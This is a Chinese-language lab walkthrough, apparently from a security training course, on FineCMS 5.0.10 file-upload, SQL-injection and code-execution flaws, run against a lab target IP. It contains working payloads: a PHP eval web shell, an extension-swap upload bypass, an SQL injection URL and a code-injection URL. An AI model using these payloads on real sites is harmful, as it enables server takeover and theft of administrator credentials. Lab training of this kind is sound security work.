FineCMS 5.0.10漏洞集合

笔记地址: https://www.ichunqiu.com/course/59007
操作机:
Windows xp
IP:172.16.11.2

目标机:
Windows xp
IP:172.16.12.2

实验目的:
学习漏洞产生的原理
学习如何对此漏洞进行利用修复

实验内容:
FineCMS是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统。其5.0.10版本存在任意文件上传(SSV-93211),任意代码执行(CVE-2017-11585)漏洞以及SQL注入漏洞。

其中任意文件上传漏洞在上传用户头像处,可通过上传一句话木马,修改数据包内容,获取网站Shell。任意代码执行可利用漏洞,构造Payload执行任意代码,而SQL注入漏洞则可以通过注入获取到管理员的账号密码。此次FineCMS 5.0.10漏洞集合,危害巨大,将直接威胁到服务器的安全。

影响版本
FineCMSV5.0.10

实验步骤
步骤1:分别了解漏洞产生原理
第一:文件上传漏洞
漏洞代码位于/finecms/dayrui/controllers/member/Account.php 177~244,具体是在用户头像上传的地方,核心代码如下:
FineCMS 5.0.10漏洞集合_第1张图片
FineCMS 5.0.10漏洞集合_第2张图片
FineCMS 5.0.10漏洞集合_第3张图片
如上,代码仅判断了是否是图片类型,这个判断很容易绕过,只需使用抓包工具修改即可。

第二:sql注入漏洞
漏洞代码位于/finecms/dayrui/controllers/Api.php中的data2()函数,
FineCMS 5.0.10漏洞集合_第4张图片
FineCMS 5.0.10漏洞集合_第5张图片
FineCMS 5.0.10漏洞集合_第6张图片
这个函数可以调用到其他的敏感函数,函数传入的参数进入了 data=  this->template->list_tag($param),正常来说系统封装的函数是用户不能调用的,但这里用户可以调用data函数,我们继续追踪,查看/finecms/dayrui/libraries/Template.php,代码如下:
FineCMS 5.0.10漏洞集合_第7张图片
FineCMS 5.0.10漏洞集合_第8张图片
FineCMS 5.0.10漏洞集合_第9张图片
FineCMS 5.0.10漏洞集合_第10张图片
FineCMS 5.0.10漏洞集合_第11张图片
FineCMS 5.0.10漏洞集合_第12张图片
如上,将Sql语句处理后赋值给sql变量,最终直接执行。
构造Payload如下:
重要代码:
sql注入代码:

index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=sql sql='select user();'

这里写图片描述
第三:代码执行漏洞
上传代码:

 index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=cache name=MEMBER.1'];phpinfo();$a=['1

这里写图片描述
步骤二:(建议直接使用漏洞)
top one:(1、访问网址,注册账号)
首先登陆目标网址:172.16.12.2,注册账号:user1 密码:user1
文件上传已知在头像上传处,我们使用账号密码为user1 user1来登陆,在会员中心->上传头像上传文件。
top two:上传木马,将木马传到服务器上
登陆之后在桌面创建文件1.txt,写入一句话木马:

 eval($_POST["a"]);?>
其中的a为使用菜刀软件的密码

然后将名称修改为1.png,接下来点击上传头像。
在上传之前,我们需要设置浏览器代理,这样才能抓取到数据包:依次点击设置->高级->网络->设置,将代理设置为127.0.0.1:8080,并打开BurpSuite。
FineCMS 5.0.10漏洞集合_第13张图片
我们将png修改为php,点击Foward放行。这里如果报错,无需理会。
上传木马文件目的是
top three:菜刀连接访问
通过查看CMS框架,可以知道上传文件存储于uploadfile\member\3下
使用菜刀软件可以直接访问:http://172.16.12.2/uploadfile/member/3/0x0.php (木马路径), 其中末尾的.php为一个木马文件,密码为‘a’
FineCMS 5.0.10漏洞集合_第14张图片
进入服务器后台,可以直接查看到flag.txt
FineCMS 5.0.10漏洞集合_第15张图片
top four:sql注入漏洞:查找后台管理员账号密码
FineCMS 5.0.10漏洞集合_第16张图片
top five:上传代码
FineCMS 5.0.10漏洞集合_第17张图片

你可能感兴趣的:(web安全漏洞)